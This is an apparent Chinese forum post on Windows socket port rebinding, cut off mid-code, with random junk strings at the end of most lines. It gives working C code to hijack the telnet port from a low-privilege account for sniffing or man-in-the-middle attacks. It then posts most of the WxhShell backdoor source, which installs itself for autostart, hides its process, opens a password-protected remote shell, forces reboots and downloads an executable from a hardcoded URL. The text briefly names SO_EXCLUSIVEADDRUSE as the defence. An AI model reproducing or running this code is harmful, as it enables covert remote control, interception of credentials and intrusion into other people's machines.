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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &Y@#g9G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VVWM9x  
ANH4IYd3  
  saddr.sin_family = AF_INET; /.5;in  
k6IG+:s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  V[pvJ(  
A CNfS9M_w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2=PBxDs;  
ghk5rl$   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 NCA {H^CL  
@D`zKYwX1  
  这意味着什么?意味着可以进行如下的攻击: D y6$J3 r  
N$?cX(|7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !Q-wdzsp?  
M/V(5IoP (  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $mco0 %$  
zvv:dC/p<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )He#K+[}^4  
fm1X1T.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %R0v5=2'  
qUhRu>   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 . ,NB( s`  
+-068k(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;~HNpu$  
yeD_j/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'Tb0-1S?  
a! Yb1[  
  #include nN`"z3o  
  #include w#PZu+  
  #include ZofHi c  
  #include    U2*6}c<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `0BdMKjA  
  int main() a ib}`l  
  { ^[h2%c$  
  WORD wVersionRequested; 2xmk,&s  
  DWORD ret; (0*v*kYdL+  
  WSADATA wsaData; nYv#4*  
  BOOL val; ^6/j_G  
  SOCKADDR_IN saddr; "2n;3ByR  
  SOCKADDR_IN scaddr; L9IGK<  
  int err; [j6~}zu@  
  SOCKET s; n~z\?Y=*  
  SOCKET sc; G=M] 8+h  
  int caddsize; !awh*Xj6  
  HANDLE mt; Oo%!>!Lt,  
  DWORD tid;   3 %(Y$8U  
  wVersionRequested = MAKEWORD( 2, 2 ); AfWl6a?T8:  
  err = WSAStartup( wVersionRequested, &wsaData ); rFag@Z"["  
  if ( err != 0 ) { 9n}A ^  
  printf("error!WSAStartup failed!\n"); ;?6>mh(`  
  return -1; R$b,h  
  } fDuwgY0  
  saddr.sin_family = AF_INET; q G ;-o)h  
   \v`#|lT$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |paP<$  
`\FI7s3b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .A<sr  
  saddr.sin_port = htons(23); =mrY/ :V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LZWS^77  
  { |Mg }2!/L  
  printf("error!socket failed!\n"); AF#_nK) @  
  return -1; O.:I,D&]  
  } `!c,y~r[  
  val = TRUE; .K9l*-e[=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %<U{K;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .Vx|'-u  
  { $^vP<  
  printf("error!setsockopt failed!\n"); ;e;\q;GP  
  return -1; NXgRNca  
  } }z'DWp=uN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Tx+ p8J|Yr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4: sl(r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 { vfq  
`mErF%b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) huAyjo  
  { L~MpY{!3  
  ret=GetLastError(); Y$8; Gm<)  
  printf("error!bind failed!\n"); .w'vD/q;  
  return -1; R`He^  
  } &tBA^igXK  
  listen(s,2);  R<&FhT]  
  while(1) _^; ;i4VZ  
  { KSOO?X0j  
  caddsize = sizeof(scaddr); O_CT+Ou  
  //接受连接请求 *( *z|2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Kfjryo9  
  if(sc!=INVALID_SOCKET) "|4jP za  
  { gB+ G'I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `` -k{C#F  
  if(mt==NULL) ^g]xU1] *  
  { IxP^i{/1?  
  printf("Thread Creat Failed!\n"); v' 0!=r  
  break; Iq,v  
  } uYTCdZQh  
  } ~PYFYjHC  
  CloseHandle(mt); TSXTc'  
  } .}p|`3$P  
  closesocket(s); Ygx,t|?7  
  WSACleanup(); 4$i}Xk#3  
  return 0; " Z;uu)NE  
  }   LVmY=d>  
  DWORD WINAPI ClientThread(LPVOID lpParam) !Zj#.6c9  
  { 5DSuUEvWcL  
  SOCKET ss = (SOCKET)lpParam; cj^bh  
  SOCKET sc; &|z|SY]DL  
  unsigned char buf[4096]; %]GV+!3S  
  SOCKADDR_IN saddr; )OUU]MUH  
  long num; Y`]rj-8f0B  
  DWORD val; c(:Oyba  
  DWORD ret; q2Rf@nt  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $`Rxn*}V4#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;@!;1KDy  
  saddr.sin_family = AF_INET; VKf6|ae  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #01/(:7  
  saddr.sin_port = htons(23); #ko6L3Pi  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WgZ@N  
  { ".M:`BoW4  
  printf("error!socket failed!\n"); pE(sV{PD  
  return -1; lbofF==(  
  } x:C@)CAr  
  val = 100; !OQuEJR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Loc8eToZ  
  { +I.v!P!^  
  ret = GetLastError(); @SQceQfB  
  return -1; R_9 o!s TZ  
  } p|s2G~0<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LT& /0  
  { JilKZQmk  
  ret = GetLastError(); Re\o v x9  
  return -1; }6@%((9E 2  
  } hG~Uz   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +Wd L  
  { (-'PD_|  
  printf("error!socket connect failed!\n"); /xf.\Z7<  
  closesocket(sc); U TS{H  
  closesocket(ss); 85 Dm8~  
  return -1; D{3fhPNU<b  
  } ebD{ pc`&  
  while(1) %\l0-RA@<  
  { &&*wmnWCS{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iW-t}}Z>B  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Y)v%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K]MzP|T,  
  num = recv(ss,buf,4096,0); Uk|9@Auav  
  if(num>0) hvL6zCi  
  send(sc,buf,num,0); :^.u-bHI  
  else if(num==0) b8e*Pv/  
  break; CL )%p"[x  
  num = recv(sc,buf,4096,0); _Ua PwJ  
  if(num>0) r.Lx%LZ\^  
  send(ss,buf,num,0); sHF%=Vu  
  else if(num==0) (Y>U6  
  break; ) _ #T c  
  } |/t K-c6J  
  closesocket(ss); rSbQ}O4V  
  closesocket(sc); >["Kd.ye  
  return 0 ; "|\94  
  } hN}5u"pS  
&#%D.@L  
x;*VCs  
========================================================== lvG3<ls0K$  
}Uq/kei^P  
下边附上一个代码,,WXhSHELL ![j(o!6&  
;wp W2%&  
========================================================== R<t&F\>  
8db6(Q~P  
#include "stdafx.h" HK? Foo?  
`} ZL'\G  
#include <stdio.h> WE7>?H*Ro  
#include <string.h> R,XD6'Q  
#include <windows.h> Zq9>VqGe  
#include <winsock2.h> 9/^d~ ZO  
#include <winsvc.h> we @Yw6<  
#include <urlmon.h> [!5l0{0  
"^!j5fZ  
#pragma comment (lib, "Ws2_32.lib") B piEAwh  
#pragma comment (lib, "urlmon.lib") 9.jG\i  
x vHOY:  
#define MAX_USER   100 // 最大客户端连接数 "_ Zh5 g  
#define BUF_SOCK   200 // sock buffer mJ/^BT]  
#define KEY_BUFF   255 // 输入 buffer p~ mN2x]  
:0{AP_tvcC  
#define REBOOT     0   // 重启 -<_+-t  
#define SHUTDOWN   1   // 关机 ))$ CEh"X  
*?s/Ho &'  
#define DEF_PORT   5000 // 监听端口 (1OW6xtfG  
j`Tm\!q  
#define REG_LEN     16   // 注册表键长度 #dL5x{gV=  
#define SVC_LEN     80   // NT服务名长度 uTxX`vH@!  
I<IC-k"Y  
// 从dll定义API McO@p=M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9j9Y Q2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O#A8t<f|M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0,+EV,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g521Wdtnn  
rE9Ta8j6  
// wxhshell配置信息 .Ydr[  
struct WSCFG { wrhBH;3  
  int ws_port;         // 监听端口 &`-_)~5]  
  char ws_passstr[REG_LEN]; // 口令 #vnefIcBf  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~>lOl/n5  
  char ws_regname[REG_LEN]; // 注册表键名 wbn^R'  
  char ws_svcname[REG_LEN]; // 服务名 7cy+Nz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Fa6H(L3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^f!Zr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xq8}6Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jt0H5-x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nYo&x'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &E} I  
' }y]mFpF  
}; SjFF=ib  
= E##},N"  
// default Wxhshell configuration 8') .o hD  
struct WSCFG wscfg={DEF_PORT, ]t8{)r  
    "xuhuanlingzhe", {Q}!NkF 1  
    1, * [iity  
    "Wxhshell", `two|gX0K  
    "Wxhshell", IptB.bYc  
            "WxhShell Service", ^\xCqVk_R  
    "Wrsky Windows CmdShell Service", FF5tPHB  
    "Please Input Your Password: ", 6:e}v'q{  
  1, z_5rAlnwT.  
  "http://www.wrsky.com/wxhshell.exe", WV5r$   
  "Wxhshell.exe" |_xZ/DT  
    }; ]b5%?^Z#  
m~A[V,os  
// 消息定义模块 R (+h)#![  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =vB]*?;9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5 ]A$P\7~1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P]~N-xdV  
char *msg_ws_ext="\n\rExit.";  m^W*[ ^p  
char *msg_ws_end="\n\rQuit."; ~N)( ^ 4  
char *msg_ws_boot="\n\rReboot..."; \ SoYx5lf  
char *msg_ws_poff="\n\rShutdown..."; KqT#zj  
char *msg_ws_down="\n\rSave to "; \<0G kp  
FN{H\W1cf  
char *msg_ws_err="\n\rErr!"; (**-"o]HH  
char *msg_ws_ok="\n\rOK!"; ::^qy^n  
g] 7{ 5  
char ExeFile[MAX_PATH]; T%;k%  
int nUser = 0; ]{q- Y<{"  
HANDLE handles[MAX_USER]; Y^*Lh/:h  
int OsIsNt; A&X  
uOivnJ?  
SERVICE_STATUS       serviceStatus; =%:n0S0C"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AQJ|^'%  
)3D+gu  
// 函数声明 &etL&s v  
int Install(void); hlSB7D"d  
int Uninstall(void); b<29wL1  
int DownloadFile(char *sURL, SOCKET wsh); llTQ\7zP  
int Boot(int flag); /6i Tq^.%  
void HideProc(void); Mm:a+T  
int GetOsVer(void);   2  
int Wxhshell(SOCKET wsl); Qd&d\w/  
void TalkWithClient(void *cs); 'PmHBQvt&  
int CmdShell(SOCKET sock); i{1)=_$Vt`  
int StartFromService(void); 8.q13t !D  
int StartWxhshell(LPSTR lpCmdLine); n',9#I(!L  
jWO&SWso  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )sqp7["-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); : pE-{3I  
\S|VkPv  
// 数据结构和表定义 i4{ /  
SERVICE_TABLE_ENTRY DispatchTable[] = H`+]dXLB  
{ U#UVenp@  
{wscfg.ws_svcname, NTServiceMain}, Kd AR)EU>  
{NULL, NULL} pUCEYR  
}; ^^t]vojX  
~x +:44*  
// 自我安装 eE#81]'6a  
int Install(void) cAsSN.HFS  
{ S+Y y  
  char svExeFile[MAX_PATH]; &kr_CP:;  
  HKEY key; (F4dFh  
  strcpy(svExeFile,ExeFile); [7SI<xkv  
?-(w][MT\  
// 如果是win9x系统,修改注册表设为自启动 $h|I7`  
if(!OsIsNt) { 9:}RlL+cOk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F| ,Vw{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i"r.>X'Z  
  RegCloseKey(key); O;&yA<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rpa A)R,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $@ T6g  
  RegCloseKey(key); )+Y\NO?O  
  return 0; 6a2w-}Fs  
    } g#9*bF  
  } K\Y6 cj  
} rH} Dt@  
else { 3LmBV\["  
@4  
// 如果是NT以上系统,安装为系统服务 XSHwE)m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )P(d66yq'u  
if (schSCManager!=0) ]VHdE_7)  
{ e5"-4udCn  
  SC_HANDLE schService = CreateService ')yF0  
  ( tswG"1R  
  schSCManager, q)z1</B-  
  wscfg.ws_svcname, x9{Sl[2&  
  wscfg.ws_svcdisp,  HPd+Bd  
  SERVICE_ALL_ACCESS, EkgN6S`}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BHRrXC\  
  SERVICE_AUTO_START, 8YJqM,t5)  
  SERVICE_ERROR_NORMAL, u6bB5(s`&  
  svExeFile, wzLiVe-  
  NULL, CpP$HrQ  
  NULL, B 3,ig9  
  NULL, Fm[?@Z&wP  
  NULL, Vqv2F @.  
  NULL DY+8m8!4H  
  ); e) /u>I  
  if (schService!=0) yW6[Fpw  
  { a s<q  
  CloseServiceHandle(schService); Lu#@~  
  CloseServiceHandle(schSCManager); /K Jx n6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MRl*r K  
  strcat(svExeFile,wscfg.ws_svcname); /S=;DxZ,r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2}xFv2X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |Z^c #R  
  RegCloseKey(key); )lngef /D_  
  return 0; WSpg(\Cs  
    } (>Q9jNW  
  } 6Kv}2M')+  
  CloseServiceHandle(schSCManager); Q+%m+ /Zq  
} ~1wdAq`'a  
} >FMT#x t  
TF}4X;3Dsy  
return 1; \ /X!tlwxh  
} '\E*W!R.]  
NId~| &\  
// 自我卸载 mGyIr kE  
int Uninstall(void) oE|{|27X  
{ {dSU \':  
  HKEY key; o._#=7|(  
7+Jma!o  
if(!OsIsNt) { 2M( PH]D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BoiIr[ (  
  RegDeleteValue(key,wscfg.ws_regname); kvO`]>#;$?  
  RegCloseKey(key); %N_S/V0`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ll E_{||h  
  RegDeleteValue(key,wscfg.ws_regname); G~$M"@Q7N  
  RegCloseKey(key); li'1RKr  
  return 0; 1-Wnc'(OK  
  } DGuUI}|)  
} {]_{BcK+  
} TXvt0&-  
else { Z=/L6Zb  
|~" A:gf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .1?i'8TF  
if (schSCManager!=0) :z,vJ~PW  
{ Jv{"R!e"P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0 f#a_  
  if (schService!=0) ]zR;%p  
  { XGup,7e9  
  if(DeleteService(schService)!=0) { ,;ruH^  
  CloseServiceHandle(schService); BO\`m%8md  
  CloseServiceHandle(schSCManager); OaCj3d>  
  return 0; DSG +TA"  
  } 4;~lpty  
  CloseServiceHandle(schService); 2.L6]^N p(  
  } dgqJ=+z 0y  
  CloseServiceHandle(schSCManager); ^9V8M9  
} e !x-:F#4j  
} 6_}){ZR  
GHsdLe=t0#  
return 1; !vo'8r?&  
} ][K8\  
&8YI)G%  
// 从指定url下载文件 ; dHOH\,:  
int DownloadFile(char *sURL, SOCKET wsh) iKEKk\j-w  
{ L"vG:Mq@D  
  HRESULT hr; ^)P5(fJ  
char seps[]= "/"; I8oKa$RF  
char *token; AiHDoV+-  
char *file; LGg x.Z  
char myURL[MAX_PATH]; Q_|S^hx Q  
char myFILE[MAX_PATH]; uM!r|X)8  
f!kdcr=/"  
strcpy(myURL,sURL); iqKfMoy5  
  token=strtok(myURL,seps); Wes "t}[25  
  while(token!=NULL) ZYt"=\_  
  { DBrzw+;e3  
    file=token; &l}xBQAL  
  token=strtok(NULL,seps); T7Qd I[K%b  
  } 28qWC~/9  
8P y_Y>  
GetCurrentDirectory(MAX_PATH,myFILE); DdZ_2B2  
strcat(myFILE, "\\"); `YU:kj<6  
strcat(myFILE, file); .$}zw|,q  
  send(wsh,myFILE,strlen(myFILE),0); FZ.Yn   
send(wsh,"...",3,0); !rmo*-=^=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T[9jTO?W2  
  if(hr==S_OK) 2i'-lM=  
return 0; btz3f9  
else +O:pZz  
return 1; +#"Ic:  
(V%vFD1)  
} X!HSS/'  
^>}[[:(6/  
// 系统电源模块 [67f;?b  
int Boot(int flag) `,]PM) iC  
{ -#z'A  
  HANDLE hToken; vh3iu +  
  TOKEN_PRIVILEGES tkp; <yaw9k+P  
IG@&l0ARL  
  if(OsIsNt) { 0_Z|y/I.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  Jy[8,X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F"? *@L  
    tkp.PrivilegeCount = 1; ?BZ`mrH^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X1QZEl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k#G7`dJl  
if(flag==REBOOT) { b6M)qt9R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mztq7[&-  
  return 0; 3\~fe/z'I  
} 3T^dgWXEG  
else { >N"PLSY1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MBrVh6z>  
  return 0; pY5HW2TsY|  
} @uD{`@[  
  } gG>^h1_o~  
  else { ?PtRb:RHt  
if(flag==REBOOT) { -^yc yZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1ORi]`  
  return 0; Q"_T040B  
} ,'DrFlI  
else { 6? ly. h$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #EK8Qe_  
  return 0; Mp}NUQHE  
} d(tf: @  
} \5c -L_  
$=a$z"  
return 1; +W[#;)ea(  
} :u+#:8u  
<G=@Gl  
// win9x进程隐藏模块 3Ya6yz  
void HideProc(void) 'U Cx^-  
{ Gf.o{  
#u(,#(P'#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AdW7 vn  
  if ( hKernel != NULL ) X.5LB!I)  
  { \`5u@Nzx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,B>b9,~3a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); euC,]n.  
    FreeLibrary(hKernel); ee[NZz  
  } wA&)y>n-  
Y\S^DJy  
return; _qNLy/AY  
} '0rwNEg  
-{mq\GvGn  
// 获取操作系统版本 nit7|T@^  
int GetOsVer(void) *dgN pJ 9  
{ !Hj)S](F  
  OSVERSIONINFO winfo; |^!@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5W-M8dc6  
  GetVersionEx(&winfo); }f*S 9V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XmR5dLc8  
  return 1; .?]_yX  
  else K0a 50@B]  
  return 0; }-iOYSn  
} kfECC&"  
]`9K|v  
// 客户端句柄模块 =%G[vm/-)  
int Wxhshell(SOCKET wsl) qE=OQs9  
{ "A3xX&9-q  
  SOCKET wsh; l_EI7mJ  
  struct sockaddr_in client; A2S9h,t  
  DWORD myID; S*:w\nXP~  
>ON.ftZ i  
  while(nUser<MAX_USER) &$im^0`r_  
{ p8J"%Jq}  
  int nSize=sizeof(client); 8"^TWzg}L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c17==S  
  if(wsh==INVALID_SOCKET) return 1; )uWNN"  
3f8Z ?[Bb@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d69VgLg  
if(handles[nUser]==0) L@GD$F=<0  
  closesocket(wsh); KK|Jach  
else OUMr}~/  
  nUser++; l))IO`s=_  
  } 63$m& ]x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); essW,2,rjC  
;Bi{;>3  
  return 0; ?Qk#;~\yB  
} )CQ}LbXZy  
3Re\ T  
// 关闭 socket E v#aMK  
void CloseIt(SOCKET wsh) . %7A7a  
{ 4f,x@:Jw  
closesocket(wsh); PCjY,O  
nUser--; n3,wwymQ  
ExitThread(0); gu&oCT  
} ij5YV3  
KR0 x[#.*  
// 客户端请求句柄 px@\b]/  
void TalkWithClient(void *cs) H:6$) #  
{ 0k [6  
nsk 6a  
  SOCKET wsh=(SOCKET)cs; R0'EoX  
  char pwd[SVC_LEN]; G> >_G<x  
  char cmd[KEY_BUFF]; !CKUkoX  
char chr[1]; h65j,v6B  
int i,j; rg.if"o  
H)tDfk sq\  
  while (nUser < MAX_USER) { F{tSfKy2  
L~~Yh{<  
if(wscfg.ws_passstr) { J K^;-&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y1IlH8+0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XvY-C  
  //ZeroMemory(pwd,KEY_BUFF); c-d}E!C:  
      i=0; w.H+$=aK  
  while(i<SVC_LEN) { ?C3cPt"  
<^{:K`  
  // 设置超时 +6atbbe}   
  fd_set FdRead; W^f#xrq>  
  struct timeval TimeOut; TVA1FD  
  FD_ZERO(&FdRead); ?f&I"\y  
  FD_SET(wsh,&FdRead); :~Y$\Ww(~  
  TimeOut.tv_sec=8; R3A^VE;qP  
  TimeOut.tv_usec=0; XT"c7]X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gy%e%'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1O4"MeF  
0 HmRl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q2Rj0E`  
  pwd=chr[0]; qzz'v  
  if(chr[0]==0xd || chr[0]==0xa) { $EF@x}h:A  
  pwd=0; d .A0(*k,  
  break; y rk#)@/m  
  } flqTx)xE  
  i++; 5@ug1F&   
    } wn&2-m*a  
mZyTo/\0  
  // 如果是非法用户,关闭 socket }__+[-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A$cbH.  
} h;->i]  
-yeT$P&|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lDeWs%n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !=:c8V  
 ~A/_\-  
while(1) { LNkyV*TI  
iY-dM(_:]  
  ZeroMemory(cmd,KEY_BUFF); >Fz$DKr[  
HV@:!zM  
      // 自动支持客户端 telnet标准   {QID@  
  j=0; ^>fs  
  while(j<KEY_BUFF) { "L]_NS T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `Z-`-IL  
  cmd[j]=chr[0]; j$6}r  
  if(chr[0]==0xa || chr[0]==0xd) { e^yB9b  
  cmd[j]=0; Fm "$W^H  
  break; 8*wI^*Q  
  } e+wd>iiB  
  j++; zu#o<6E{  
    } D 3PF(Wx  
"|if<hx+  
  // 下载文件 3nO|A: t  
  if(strstr(cmd,"http://")) { n>WS@b/o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s><co]  
  if(DownloadFile(cmd,wsh)) AM>:At Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JFZ p^{  
  else P*>V6SK>b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ioggD  
  } c'b,=SM  
  else { ~"k'T9QBY  
D6w0Y:A{.  
    switch(cmd[0]) { 7nmo p7  
  z( wXs&z;  
  // 帮助 ArY'NE\Htt  
  case '?': { Z>l>@wNm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L6^h3*JyD  
    break; art{PV4-  
  } /03>|Juo  
  // 安装 r`2& o  
  case 'i': { \ (,2^T'$J  
    if(Install()) ,P}c92;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5WUrRQ?E  
    else qb Q> z+c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )n.peZ  
    break; P]n ' q  
    } S~T[*Z/m  
  // 卸载 X 6)LpMm  
  case 'r': { SpgVsz  
    if(Uninstall()) cnR>)9sX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !ZRV\31%  
    else iQKfx#kt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); om1 / 9  
    break; XL:7$  
    } * XJSa  
  // 显示 wxhshell 所在路径 i+;E uHf  
  case 'p': { :O7J9K|  
    char svExeFile[MAX_PATH]; _PIk,!<  
    strcpy(svExeFile,"\n\r"); d1-QkW^0y  
      strcat(svExeFile,ExeFile); b}fH$.V@  
        send(wsh,svExeFile,strlen(svExeFile),0); +"!IVHY  
    break; \4ZQop  
    } wQ5__"D  
  // 重启 yC[}gHv  
  case 'b': { %9j]N$.V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C.@TX  
    if(Boot(REBOOT)) G.Q+"+* ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8PQt8G.  
    else { /=N`P &R#  
    closesocket(wsh); ,0~=9dR  
    ExitThread(0); T4[eBO  
    } 0PN{ +<? .  
    break; n3(HA  
    } fc91D]c  
  // 关机 6vDgM fw  
  case 'd': { E~B LY{3:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KnuqU2< {  
    if(Boot(SHUTDOWN)) SC#  
